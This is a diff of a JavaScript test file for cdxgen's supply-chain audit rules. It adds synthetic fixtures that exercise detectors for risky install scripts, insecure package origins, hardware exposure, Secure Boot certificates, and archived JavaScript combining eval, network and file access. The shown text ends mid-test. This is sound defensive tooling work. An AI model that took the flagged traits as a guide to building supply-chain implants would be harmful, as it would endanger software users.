@cyclonedx/cdxgen 12.3.2 → 12.4.0

package/lib/stages/postgen/auditBom.poku.js

@@ -5,9 +5,12 @@ import { PackageURL } from "packageurl-js";
 import { assert, describe, it } from "poku";
 
 import { githubActionsParser } from "../../helpers/ciParsers/githubActions.js";
+import { createLolbasProperties } from "../../helpers/lolbas.js";
 import {
   auditBom,
   formatAnnotations,
+  formatDryRunSupportSummary,
+  getBomAuditDryRunSupportSummary,
   hasCriticalFindings,
 } from "./auditBom.js";
 import { evaluateRule, evaluateRules, loadRules } from "./ruleEngine.js";
@@ -95,6 +98,51 @@ function makeChromeExtensionComponent(name, version, properties) {
   };
 }
 
+function makeHbomComponent(name, hardwareClass, properties = [], extra = {}) {
+  return {
+    type: "device",
+    name,
+    version: extra.version,
+    "bom-ref": extra.bomRef || `urn:uuid:${hardwareClass}:${name}`,
+    properties: [["cdx:hbom:hardwareClass", hardwareClass], ...properties].map(
+      ([k, v]) => ({ name: k, value: v }),
+    ),
+    ...extra,
+  };
+}
+
+function makeHbomBom(
+  components = [],
+  metadataProperties = [],
+  bomProperties = [],
+) {
+  return {
+    bomFormat: "CycloneDX",
+    specVersion: "1.7",
+    serialNumber: "urn:uuid:test-hbom",
+    metadata: {
+      tools: {
+        components: [
+          {
+            type: "application",
+            name: "cdxgen",
+            version: "12.4.0",
+            "bom-ref": "pkg:npm/%40cyclonedx/cdxgen@12.4.0",
+          },
+        ],
+      },
+      component: {
+        name: "test-host",
+        type: "device",
+        "bom-ref": "urn:uuid:test-host",
+        properties: metadataProperties.map(([k, v]) => ({ name: k, value: v })),
+      },
+    },
+    components,
+    properties: bomProperties.map(([k, v]) => ({ name: k, value: v })),
+  };
+}
+
 function makeBomFromWorkflowFixture(filename) {
   const workflowFile = join(WORKFLOWS_DIR, filename);
   const result = githubActionsParser.parse([workflowFile], {
@@ -115,6 +163,10 @@ describe("loadRules", () => {
         ["critical", "high", "medium", "low"].includes(rule.severity),
         `Rule ${rule.id} severity must be valid`,
       );
+      assert.ok(
+        ["no", "partial", "full"].includes(rule.dryRunSupport),
+        `Rule ${rule.id} dry-run support must be valid`,
+      );
     }
   });
 
@@ -146,6 +198,50 @@ describe("loadRules", () => {
     assert.ok(mcpRules.length > 0, "Should have MCP server rules");
     const agentRules = rules.filter((r) => r.category === "ai-agent");
     assert.ok(agentRules.length > 0, "Should have AI agent rules");
+    const asarRules = rules.filter((r) => r.category === "asar-archive");
+    assert.ok(asarRules.length > 0, "Should have ASAR archive rules");
+    const hbomSecurityRules = rules.filter(
+      (r) => r.category === "hbom-security",
+    );
+    assert.ok(hbomSecurityRules.length > 0, "Should have HBOM security rules");
+    const hbomPerformanceRules = rules.filter(
+      (r) => r.category === "hbom-performance",
+    );
+    assert.ok(
+      hbomPerformanceRules.length > 0,
+      "Should have HBOM performance rules",
+    );
+    const hbomComplianceRules = rules.filter(
+      (r) => r.category === "hbom-compliance",
+    );
+    assert.ok(
+      hbomComplianceRules.length > 0,
+      "Should have HBOM compliance rules",
+    );
+    const hostTopologyRules = rules.filter(
+      (r) => r.category === "host-topology",
+    );
+    assert.ok(hostTopologyRules.length > 0, "Should have host-topology rules");
+  });
+
+  it("should assign explicit dry-run support metadata to built-in rules", async () => {
+    const rules = await loadRules(RULES_DIR);
+    assert.strictEqual(
+      rules.find((rule) => rule.id === "CI-001")?.dryRunSupport,
+      "full",
+    );
+    assert.strictEqual(
+      rules.find((rule) => rule.id === "INT-003")?.dryRunSupport,
+      "no",
+    );
+    assert.strictEqual(
+      rules.find((rule) => rule.id === "INT-005")?.dryRunSupport,
+      "partial",
+    );
+    assert.strictEqual(
+      rules.find((rule) => rule.id === "HBS-001")?.dryRunSupport,
+      "full",
+    );
   });
 });
 
@@ -190,7 +286,7 @@ describe("evaluateRule", () => {
     );
   });
 
-  it("should detect npm install script from non-registry source (PKG-001)", async () => {
+  it("should detect npm install script from direct manifest source (PKG-001)", async () => {
     const rules = await loadRules(RULES_DIR);
     const rule = rules.find((r) => r.id === "PKG-001");
     assert.ok(rule, "PKG-001 rule should exist");
@@ -198,7 +294,11 @@ describe("evaluateRule", () => {
     const bom = makeBom([
       makeComponent("sketchy-pkg", "1.0.0", [
         ["cdx:npm:hasInstallScript", "true"],
-        ["cdx:npm:isRegistryDependency", "false"],
+        ["cdx:npm:manifestSourceType", "git"],
+        [
+          "cdx:npm:manifestSource",
+          "git+https://github.com/acme/sketchy-pkg.git",
+        ],
       ]),
     ]);
 
@@ -207,6 +307,485 @@ describe("evaluateRule", () => {
     assert.strictEqual(findings[0].severity, "high");
   });
 
+  it("should detect npm install scripts from url and path manifest sources for PKG-001", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "PKG-001");
+    assert.ok(rule, "PKG-001 rule should exist");
+
+    for (const manifestSourceType of ["url", "path"]) {
+      const bom = makeBom([
+        makeComponent(`sketchy-${manifestSourceType}`, "1.0.0", [
+          ["cdx:npm:hasInstallScript", "true"],
+          ["cdx:npm:manifestSourceType", manifestSourceType],
+          ["cdx:npm:manifestSource", `${manifestSourceType}:example`],
+        ]),
+      ]);
+
+      const findings = await evaluateRule(rule, bom);
+      assert.ok(findings.length > 0);
+    }
+  });
+
+  it("should not detect npm install script without manifest source evidence for PKG-001", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "PKG-001");
+    assert.ok(rule, "PKG-001 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("registry-pkg", "1.0.0", [
+        ["cdx:npm:hasInstallScript", "true"],
+        ["cdx:npm:isRegistryDependency", "false"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
+  });
+
+  it("should detect Collider packages from insecure HTTP origins (PKG-009)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "PKG-009");
+    assert.ok(rule, "PKG-009 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("fmt", "11.0.2", [
+        ["cdx:collider:dependencyKind", "direct"],
+        ["cdx:collider:origin", "http://mirror.example.com/collider/v2/"],
+        ["cdx:collider:originScheme", "http"],
+        ["cdx:collider:originHost", "mirror.example.com"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect insecure Collider origin");
+    assert.strictEqual(findings[0].ruleId, "PKG-009");
+    assert.strictEqual(findings[0].severity, "medium");
+  });
+
+  it("should detect Collider origins that required sanitization (PKG-010)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "PKG-010");
+    assert.ok(rule, "PKG-010 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("spdlog", "1.15.0", [
+        ["cdx:collider:dependencyKind", "direct"],
+        ["cdx:collider:origin", "https://example.com/collider/v2/"],
+        ["cdx:collider:originScheme", "https"],
+        ["cdx:collider:originSanitized", "true"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect sanitized Collider origin");
+    assert.strictEqual(findings[0].ruleId, "PKG-010");
+    assert.strictEqual(findings[0].severity, "low");
+  });
+
+  it("should detect python dependency from direct manifest source (PKG-011)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "PKG-011");
+    assert.ok(rule, "PKG-011 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("suspicious-python-pkg", "1.0.0", [
+        ["cdx:pypi:manifestSourceType", "url"],
+        [
+          "cdx:pypi:manifestSource",
+          "https://example.com/suspicious-python-pkg.whl",
+        ],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect python direct source risk");
+    assert.strictEqual(findings[0].ruleId, "PKG-011");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect HBOM security findings from synthetic device inventory", async () => {
+    const bom = makeHbomBom(
+      [
+        makeHbomComponent("Main SSD", "storage", [
+          ["cdx:hbom:isEncrypted", "false"],
+          ["cdx:hbom:deviceSerial", "ABC123456789"],
+        ]),
+        makeHbomComponent("wifi0", "wireless-adapter", [
+          ["cdx:hbom:connected", "true"],
+          ["cdx:hbom:securityMode", "open"],
+        ]),
+        makeHbomComponent("USB Stick", "storage-volume", [
+          ["cdx:hbom:isRemovable", "true"],
+          ["cdx:hbom:isLocked", "false"],
+        ]),
+        makeHbomComponent("USB4 Dock", "bus", [
+          ["cdx:hbom:securityLevel", "none"],
+          ["cdx:hbom:iommuProtection", "false"],
+          ["cdx:hbom:policy", "auto"],
+        ]),
+        makeHbomComponent("LTE Modem", "modem", [
+          ["cdx:hbom:imei", "490154203237518"],
+          ["cdx:hbom:ownNumbers", "+15551234567"],
+        ]),
+      ],
+      [
+        ["cdx:hbom:platform", "linux"],
+        ["cdx:hbom:architecture", "amd64"],
+        ["cdx:hbom:identifierPolicy", "full"],
+        ["cdx:hbom:serialNumber", "HOST-SERIAL-001"],
+      ],
+      [["cdx:hbom:collectorProfile", "linux-amd64"]],
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "hbom-security",
+    });
+    const ruleIds = new Set(findings.map((finding) => finding.ruleId));
+
+    assert.ok(ruleIds.has("HBS-001"));
+    assert.ok(ruleIds.has("HBS-002"));
+    assert.ok(ruleIds.has("HBS-003"));
+    assert.ok(ruleIds.has("HBS-004"));
+    assert.ok(ruleIds.has("HBS-005"));
+    assert.ok(ruleIds.has("HBS-006"));
+  });
+
+  it("should detect HBOM performance findings from synthetic device inventory", async () => {
+    const bom = makeHbomBom([
+      makeHbomComponent("rootfs", "storage-volume", [
+        ["cdx:hbom:capacityBytes", "1000"],
+        ["cdx:hbom:freeBytes", "100"],
+      ]),
+      makeHbomComponent("nvme0", "storage", [
+        ["cdx:hbom:wearPercentageUsed", "91"],
+        ["cdx:hbom:smartStatus", "Failing"],
+      ]),
+      makeHbomComponent("CPU Thermal Zone", "thermal-zone", [
+        ["cdx:hbom:temperatureCelsius", "92"],
+      ]),
+      makeHbomComponent("Battery", "power", [
+        ["cdx:hbom:maximumCapacity", "71%"],
+        ["cdx:hbom:cycleCount", "1204"],
+        ["cdx:hbom:designCapacityPercent", "62"],
+      ]),
+      makeHbomComponent("eth0", "network-interface", [
+        ["cdx:hbom:operState", "up"],
+        ["cdx:hbom:duplex", "half"],
+        ["cdx:hbom:speedMbps", "100"],
+      ]),
+      makeHbomComponent("DIMM Bank", "memory", [
+        ["cdx:hbom:sizeBytes", "1000"],
+        ["cdx:hbom:memoryOnlineSize", "800"],
+      ]),
+      makeHbomComponent("USB Camera", "usb-device", [
+        ["cdx:hbom:currentRequired", "900"],
+        ["cdx:hbom:currentAvailable", "500"],
+      ]),
+      makeHbomComponent("LTE Modem", "modem", [
+        ["cdx:hbom:signalQuality", "18"],
+        ["cdx:hbom:operatorName", "ExampleTel"],
+      ]),
+    ]);
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "hbom-performance",
+    });
+    const ruleIds = new Set(findings.map((finding) => finding.ruleId));
+
+    assert.ok(ruleIds.has("HBP-001"));
+    assert.ok(ruleIds.has("HBP-002"));
+    assert.ok(ruleIds.has("HBP-003"));
+    assert.ok(ruleIds.has("HBP-004"));
+    assert.ok(ruleIds.has("HBP-005"));
+    assert.ok(ruleIds.has("HBP-006"));
+    assert.ok(ruleIds.has("HBP-007"));
+    assert.ok(ruleIds.has("HBP-008"));
+    assert.ok(ruleIds.has("HBP-009"));
+  });
+
+  it("should detect HBOM compliance findings from synthetic device inventory", async () => {
+    const bom = makeHbomBom(
+      [
+        makeHbomComponent("rootfs", "storage-volume", [
+          ["cdx:hbom:capacityBytes", "1000"],
+        ]),
+        makeHbomComponent("HDMI-A-1", "display-connector", [
+          ["cdx:hbom:displayConnectorType", "HDMI-A"],
+        ]),
+      ],
+      [
+        ["cdx:hbom:platform", "linux"],
+        ["cdx:hbom:identifierPolicy", "full"],
+      ],
+      [
+        ["cdx:hbom:collectorProfile", "linux-amd64"],
+        ["cdx:hbom:analysis:missingCommandCount", "2"],
+        ["cdx:hbom:analysis:missingCommands", "lspci,lsusb"],
+        [
+          "cdx:hbom:analysis:missingCommandIds",
+          "fwupdmgr-devices-json,edid-decode",
+        ],
+        ["cdx:hbom:analysis:installHintCount", "2"],
+        ["cdx:hbom:analysis:permissionDeniedCount", "1"],
+        ["cdx:hbom:analysis:permissionDeniedCommands", "drm_info"],
+        [
+          "cdx:hbom:analysis:permissionDeniedIds",
+          "dmidecode-firmware-board,drm-info-json",
+        ],
+        ["cdx:hbom:analysis:privilegeHintCount", "1"],
+        ["cdx:hbom:analysis:requiresPrivileged", "true"],
+      ],
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "hbom-compliance",
+    });
+    const ruleIds = new Set(findings.map((finding) => finding.ruleId));
+
+    assert.ok(ruleIds.has("HBC-001"));
+    assert.ok(ruleIds.has("HBC-002"));
+    assert.ok(ruleIds.has("HBC-003"));
+    assert.ok(ruleIds.has("HBC-004"));
+    assert.ok(ruleIds.has("HBC-005"));
+    assert.ok(ruleIds.has("HBC-006"));
+    assert.ok(ruleIds.has("HBC-007"));
+    assert.ok(ruleIds.has("HBC-008"));
+    assert.ok(ruleIds.has("HBC-009"));
+    assert.ok(ruleIds.has("HBC-010"));
+  });
+
+  it("should not flag redacted-by-default HBOM identifier policy as a compliance finding", async () => {
+    const bom = makeHbomBom(
+      [],
+      [
+        ["cdx:hbom:platform", "darwin"],
+        ["cdx:hbom:architecture", "arm64"],
+        ["cdx:hbom:identifierPolicy", "redacted-by-default"],
+        ["cdx:hbom:serialNumber", "redacted:serialNumber"],
+      ],
+      [
+        ["cdx:hbom:collectorProfile", "darwin-arm64"],
+        ["cdx:hbom:evidence:commandCount", "1"],
+        ["cdx:hbom:evidence:command", "system_profiler"],
+      ],
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "hbom-compliance",
+    });
+
+    assert.ok(
+      !findings.some((finding) => finding.ruleId === "HBC-005"),
+      "redacted-by-default should not trigger HBC-005",
+    );
+  });
+
+  it("should not flag HBOM collector evidence as incomplete when BOM command evidence is present", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "HBC-003");
+
+    const bom = makeHbomBom(
+      [],
+      [
+        ["cdx:hbom:platform", "darwin"],
+        ["cdx:hbom:architecture", "arm64"],
+        ["cdx:hbom:identifierPolicy", "redacted-by-default"],
+      ],
+      [
+        ["cdx:hbom:collectorProfile", "darwin-arm64"],
+        ["cdx:hbom:evidence:commandCount", "2"],
+        [
+          "cdx:hbom:evidence:command",
+          "system-profiler-json|platform|/usr/sbin/system_profiler SPHardwareDataType -json",
+        ],
+        [
+          "cdx:hbom:evidence:command",
+          "battery-status|power|/usr/bin/pmset -g batt",
+        ],
+      ],
+    );
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
+  });
+
+  it("should detect HBOM command diagnostics for missing utilities and permission-denied enrichments", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const missingCommandsRule = rules.find((r) => r.id === "HBC-006");
+    const permissionDeniedRule = rules.find((r) => r.id === "HBC-007");
+    const firmwareRule = rules.find((r) => r.id === "HBC-008");
+    const boardRule = rules.find((r) => r.id === "HBC-009");
+    const displayRule = rules.find((r) => r.id === "HBC-010");
+
+    const bom = makeHbomBom(
+      [
+        makeHbomComponent("eDP-1", "display-connector", [
+          ["cdx:hbom:displayConnectorType", "eDP"],
+        ]),
+      ],
+      [
+        ["cdx:hbom:platform", "linux"],
+        ["cdx:hbom:architecture", "amd64"],
+      ],
+      [
+        ["cdx:hbom:collectorProfile", "linux-amd64-v1"],
+        ["cdx:hbom:analysis:missingCommandCount", "1"],
+        ["cdx:hbom:analysis:missingCommands", "lsusb"],
+        [
+          "cdx:hbom:analysis:missingCommandIds",
+          "fwupdmgr-devices-json,edid-decode",
+        ],
+        ["cdx:hbom:analysis:permissionDeniedCount", "1"],
+        ["cdx:hbom:analysis:permissionDeniedCommands", "drm_info"],
+        [
+          "cdx:hbom:analysis:permissionDeniedIds",
+          "dmidecode-firmware-board,drm-info-json",
+        ],
+        ["cdx:hbom:analysis:requiresPrivileged", "true"],
+      ],
+    );
+
+    const missingCommandsFindings = await evaluateRule(
+      missingCommandsRule,
+      bom,
+    );
+    const permissionDeniedFindings = await evaluateRule(
+      permissionDeniedRule,
+      bom,
+    );
+    const firmwareFindings = await evaluateRule(firmwareRule, bom);
+    const boardFindings = await evaluateRule(boardRule, bom);
+    const displayFindings = await evaluateRule(displayRule, bom);
+
+    assert.strictEqual(missingCommandsFindings.length, 1);
+    assert.strictEqual(missingCommandsFindings[0].ruleId, "HBC-006");
+    assert.strictEqual(permissionDeniedFindings.length, 1);
+    assert.strictEqual(permissionDeniedFindings[0].ruleId, "HBC-007");
+    assert.strictEqual(firmwareFindings.length, 1);
+    assert.strictEqual(firmwareFindings[0].ruleId, "HBC-008");
+    assert.strictEqual(boardFindings.length, 1);
+    assert.strictEqual(boardFindings[0].ruleId, "HBC-009");
+    assert.strictEqual(displayFindings.length, 1);
+    assert.strictEqual(displayFindings[0].ruleId, "HBC-010");
+  });
+
+  it("should not flag redacted HBOM identifiers for the raw-identifier exposure rule", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "HBS-004");
+
+    const bom = makeHbomBom(
+      [
+        makeHbomComponent("wifi0", "network-interface", [
+          ["cdx:hbom:macAddress", "redacted:macAddress"],
+        ]),
+      ],
+      [
+        ["cdx:hbom:platform", "darwin"],
+        ["cdx:hbom:architecture", "arm64"],
+        ["cdx:hbom:identifierPolicy", "redacted-by-default"],
+        ["cdx:hbom:serialNumber", "redacted:serialNumber"],
+        ["cdx:hbom:platformUuid", "redacted:platformUuid"],
+      ],
+      [["cdx:hbom:collectorProfile", "darwin-arm64"]],
+    );
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
+  });
+
+  it("should not flag redacted modem identifiers for the cellular exposure rule", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "HBS-006");
+
+    const bom = makeHbomBom(
+      [
+        makeHbomComponent("LTE Modem", "modem", [
+          ["cdx:hbom:imei", "redacted:imei"],
+          ["cdx:hbom:ownNumbers", "redacted:ownNumbers"],
+        ]),
+      ],
+      [["cdx:hbom:identifierPolicy", "redacted-by-default"]],
+    );
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
+  });
+
+  it("should not flag healthy storage telemetry for the degraded-storage HBOM rule", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "HBP-002");
+
+    const bom = makeHbomBom([
+      makeHbomComponent("nvme0", "storage", [
+        ["cdx:hbom:wearPercentageUsed", "12"],
+        ["cdx:hbom:smartStatus", "ok"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
+  });
+
+  it("should safely handle human-readable online memory size values for the HBOM memory rule", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "HBP-006");
+
+    const bom = makeHbomBom([
+      makeHbomComponent("System Memory", "memory", [
+        ["cdx:hbom:sizeBytes", "32899006464"],
+        ["cdx:hbom:memoryOnlineSize", "32 GB"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.strictEqual(findings.length, 0);
+  });
+
+  it("should expand the hbom alias to all HBOM audit categories", async () => {
+    const bom = makeHbomBom(
+      [
+        makeHbomComponent("Main SSD", "storage", [
+          ["cdx:hbom:isEncrypted", "false"],
+          ["cdx:hbom:wearPercentageUsed", "90"],
+        ]),
+      ],
+      [
+        ["cdx:hbom:platform", "linux"],
+        ["cdx:hbom:identifierPolicy", "full"],
+      ],
+      [["cdx:hbom:collectorProfile", "linux-amd64"]],
+    );
+
+    const findings = await auditBom(bom, {
+      bomAuditCategories: "hbom",
+    });
+    const categories = new Set(findings.map((finding) => finding.category));
+
+    assert.ok(categories.has("hbom-security"));
+    assert.ok(categories.has("hbom-performance"));
+    assert.ok(categories.has("hbom-compliance"));
+  });
+
+  it("should detect Collider packages missing valid wrap hashes (INT-014)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "INT-014");
+    assert.ok(rule, "INT-014 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("fast_float", "8.0.2", [
+        ["cdx:collider:dependencyKind", "transitive"],
+        ["cdx:collider:hasWrapHash", "false"],
+        ["cdx:collider:wrapHash", "not-a-sha256"],
+        ["cdx:collider:wrapHashInvalid", "true"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect missing Collider wrap hash");
+    assert.strictEqual(findings[0].ruleId, "INT-014");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
   it("should detect OIDC token issuance to a non-official action (CI-002)", async () => {
     const rules = await loadRules(RULES_DIR);
     const rule = rules.find((r) => r.id === "CI-002");
@@ -273,17 +852,57 @@ describe("evaluateRule", () => {
     assert.strictEqual(findings[0].severity, "critical");
   });
 
-  it("should detect a network-exposed non-official MCP server (MCP-003)", async () => {
+  it("should detect revoked Secure Boot certificates (OBOM-LNX-012)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "MCP-003");
-    assert.ok(rule, "MCP-003 rule should exist");
+    const rule = rules.find((r) => r.id === "OBOM-LNX-012");
+    assert.ok(rule, "OBOM-LNX-012 rule should exist");
 
-    const bom = makeBom(
-      [],
-      [],
-      [],
-      [
-        {
+    const bom = makeBom([
+      makeComponent("dbx-entry", "key-id-1", [
+        ["cdx:osquery:category", "secureboot_certificates"],
+        ["revoked", "1"],
+        ["subject", "CN=Legacy Bootloader"],
+        ["issuer", "CN=Platform DBX"],
+        ["serial", "42"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect revoked Secure Boot cert");
+    assert.strictEqual(findings[0].severity, "high");
+  });
+
+  it("should detect expiring Secure Boot certificates (OBOM-LNX-013)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "OBOM-LNX-013");
+    assert.ok(rule, "OBOM-LNX-013 rule should exist");
+
+    const bom = makeBom([
+      makeComponent("db-entry", "key-id-2", [
+        ["cdx:osquery:category", "secureboot_certificates"],
+        ["not_valid_after", `${Math.floor(Date.now() / 1000) + 86400}`],
+        ["not_valid_before", `${Math.floor(Date.now() / 1000) - 86400}`],
+        ["subject", "CN=Current Platform Key"],
+        ["issuer", "CN=Firmware CA"],
+      ]),
+    ]);
+
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect expiring Secure Boot cert");
+    assert.strictEqual(findings[0].severity, "medium");
+  });
+
+  it("should detect a network-exposed non-official MCP server (MCP-003)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "MCP-003");
+    assert.ok(rule, "MCP-003 rule should exist");
+
+    const bom = makeBom(
+      [],
+      [],
+      [],
+      [
+        {
           "bom-ref": "urn:service:mcp:custom-wrapper:0.1.0",
           name: "custom-wrapper",
           version: "0.1.0",
@@ -969,6 +1588,123 @@ describe("evaluateRule", () => {
     assert.strictEqual(findings[0].severity, "high");
   });
 
+  it("should detect eval-like archived JavaScript (ASAR-001)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "ASAR-001");
+    assert.ok(rule, "ASAR-001 rule should exist");
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "main.js",
+        "bom-ref": "file:/tmp/app.asar#/main.js",
+        properties: [
+          { name: "cdx:file:kind", value: "asar-entry" },
+          { name: "SrcFile", value: "/tmp/app.asar" },
+          { name: "cdx:asar:path", value: "main.js" },
+          { name: "cdx:asar:js:hasEval", value: "true" },
+        ],
+      },
+    ]);
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect ASAR eval signal");
+    assert.strictEqual(findings[0].ruleId, "ASAR-001");
+  });
+
+  it("should detect archived JavaScript with network plus local access (ASAR-002)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "ASAR-002");
+    assert.ok(rule, "ASAR-002 rule should exist");
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "main.js",
+        "bom-ref": "file:/tmp/app.asar#/main.js",
+        properties: [
+          { name: "cdx:file:kind", value: "asar-entry" },
+          { name: "SrcFile", value: "/tmp/app.asar" },
+          { name: "cdx:asar:path", value: "main.js" },
+          { name: "cdx:asar:js:capability:network", value: "true" },
+          { name: "cdx:asar:js:capability:fileAccess", value: "true" },
+          { name: "cdx:asar:js:networkIndicators", value: "fetch(dynamic)" },
+        ],
+      },
+    ]);
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect ASAR capability overlap");
+    assert.strictEqual(findings[0].ruleId, "ASAR-002");
+  });
+
+  it("should detect ASAR integrity mismatches (ASAR-003)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "ASAR-003");
+    assert.ok(rule, "ASAR-003 rule should exist");
+    const bom = makeBom([
+      {
+        type: "file",
+        name: "settings.json",
+        "bom-ref": "file:/tmp/app.asar#/settings.json",
+        properties: [
+          { name: "cdx:file:kind", value: "asar-entry" },
+          { name: "SrcFile", value: "/tmp/app.asar" },
+          { name: "cdx:asar:path", value: "settings.json" },
+          { name: "cdx:asar:declaredIntegrityHash", value: "00" },
+          { name: "cdx:asar:integrityVerified", value: "false" },
+        ],
+      },
+    ]);
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect ASAR integrity mismatch");
+    assert.strictEqual(findings[0].ruleId, "ASAR-003");
+  });
+
+  it("should detect embedded install scripts from ASAR-derived npm components (ASAR-004)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "ASAR-004");
+    assert.ok(rule, "ASAR-004 rule should exist");
+    const bom = makeBom([
+      makeComponent("sketchy-addon", "0.1.0", [
+        ["SrcFile", "/tmp/app.asar#/package-lock.json"],
+        ["cdx:npm:hasInstallScript", "true"],
+        ["cdx:npm:risky_scripts", "preinstall"],
+      ]),
+    ]);
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(
+      findings.length > 0,
+      "Should detect embedded ASAR install scripts",
+    );
+    assert.strictEqual(findings[0].ruleId, "ASAR-004");
+  });
+
+  it("should detect failed Electron ASAR signing verification (ASAR-005)", async () => {
+    const rules = await loadRules(RULES_DIR);
+    const rule = rules.find((r) => r.id === "ASAR-005");
+    assert.ok(rule, "ASAR-005 rule should exist");
+    const bom = makeBom([
+      {
+        type: "application",
+        name: "signed-app.asar",
+        "bom-ref": "file:/tmp/Signed.app/Contents/Resources/app.asar",
+        properties: [
+          { name: "cdx:file:kind", value: "asar-archive" },
+          {
+            name: "SrcFile",
+            value: "/tmp/Signed.app/Contents/Resources/app.asar",
+          },
+          { name: "cdx:asar:hasSigningMetadata", value: "true" },
+          { name: "cdx:asar:signingAlgorithm", value: "SHA256" },
+          { name: "cdx:asar:signingDeclaredHash", value: "deadbeef" },
+          { name: "cdx:asar:signingSource", value: "Info.plist" },
+          { name: "cdx:asar:signingScope", value: "header-only" },
+          { name: "cdx:asar:signingVerified", value: "false" },
+        ],
+      },
+    ]);
+    const findings = await evaluateRule(rule, bom);
+    assert.ok(findings.length > 0, "Should detect failed ASAR signing");
+    assert.strictEqual(findings[0].ruleId, "ASAR-005");
+  });
+
   it("should return empty findings when no components match", async () => {
     const rules = await loadRules(RULES_DIR);
     const rule = rules.find((r) => r.id === "CI-001");
@@ -1184,11 +1920,7 @@ describe("evaluateRule", () => {
 
     const findings = await evaluateRule(rule, bom);
     assert.ok(findings.length > 0, "Should detect runner-state mutation");
-    assert.deepStrictEqual(findings[0].attackTactics, [
-      "TA0003",
-      "TA0004",
-      "TA0005",
-    ]);
+    assert.deepStrictEqual(findings[0].attackTactics, ["TA0002"]);
   });
 
   it("should detect outbound commands that reference sensitive context (CI-015)", async () => {
@@ -1434,1300 +2166,2545 @@ describe("evaluateRule", () => {
     assert.match(findings[0].message, /Heuristic review/);
   });
 
-  it("should detect root authorized_keys without restrictions (OBOM-LNX-003)", async () => {
+  it("should detect disabled npm cache when npm distributions are resolved remotely (CI-022)", async () => {
     const rules = await loadRules(RULES_DIR);
-    const rule = rules.find((r) => r.id === "OBOM-LNX-003");
-    assert.ok(rule, "OBOM-LNX-003 rule should exist");
-
-    const bom = makeBom([
-      {
-        type: "data",
-        name: "root",
-        version: "ssh-rsa",
-        description: "",
-        purl: "pkg:swid/root-authorized-keys",
-        "bom-ref": "pkg:swid/root-authorized-keys",
-        properties: [
-          { name: "cdx:osquery:category", value: "authorized_keys_snapshot" },
-          { name: "key_file", value: "/root/.ssh/authorized_keys" },
-          { name: "options", value: "" },
-        ],
-      },
-    ]);
+    const rule = rules.find((r) => r.id === "CI-022");
+    assert.ok(rule, "CI-022 rule should exist");
 
-    const findings = await evaluateRule(rule, bom);
-    assert.ok(
-      findings.length > 0,
-      "Should detect unrestricted root authorized_keys entry",
+    const bom = makeBom(
+      [
+        {
+          type: "library",
+          name: "left-pad",
+          version: "1.3.0",
+          purl: "pkg:npm/left-pad@1.3.0",
+          "bom-ref": "pkg:npm/left-pad@1.3.0",
+          externalReferences: [
+            {
+              type: "distribution",
+              url: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
+            },
+          ],
+          properties: [
+            {
+              name: "cdx:npm:manifestSourceType",
